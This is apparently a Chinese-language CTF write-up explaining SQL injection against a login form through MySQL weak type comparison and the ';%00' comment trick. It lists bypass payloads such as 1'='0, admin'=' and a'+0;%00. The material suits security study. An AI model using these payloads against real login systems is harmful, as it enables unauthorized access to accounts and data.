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select * from user where username='用户名' and password='密码'  
利用  1'='1  0'='0

这样显然不行，因为查询到数据库中没有username=1 的元组，返回了0

而  0 !='1'  所以需要改为  

username= 1'='0

password= 1'='0 

先看前面username那一块，由于两个等号是从左往右计算的， username=‘p’不存在就会返回0（false），而0=''则会返回1，
这样where后面计算结果就变成了1 and 1，这样最后就会把数据表中所有的数据挑出来。 
username= 1’=’0  
password= 1’=’0  
或者  
username=what’=’  
password=what’=’  
或者  
username:admin’=’  
password:admin’=’  

sql里面弱类型的比较，以下情况都会为true： 
1='1' 
1='1.0' 
1='1后接字母(再后面有数字也可以)' 
0='除了非0数字开头的字符串' 

（2）利用mysql数据类型转换特性以及特殊截断符号“%00;”： 

select * from table where username=0;   

select * from table where username='a'+0;   

这两句均会返回库中所有元组，就是说如果一个字符类型的变量接收到一个整形变量且值为0的时候，就会返回库中所有元组
（第二句'a'+0会进行强制类型转换，最后结果还是0） 

其次，mysql的注释符号除了-- + ， # ，/**/之外，还有;%00。 
利用这两点，构造如下payload: 
username=a'+0;%00&password= 
就可以成功绕过了 

遇到这种有登陆框的操作，显示看他是POST 还是GET 
一般是想到用万能密码，但是这道题过滤了字符，那么万能密码就失效了 

这道题给我的收获是，登录框也可以进行注入 
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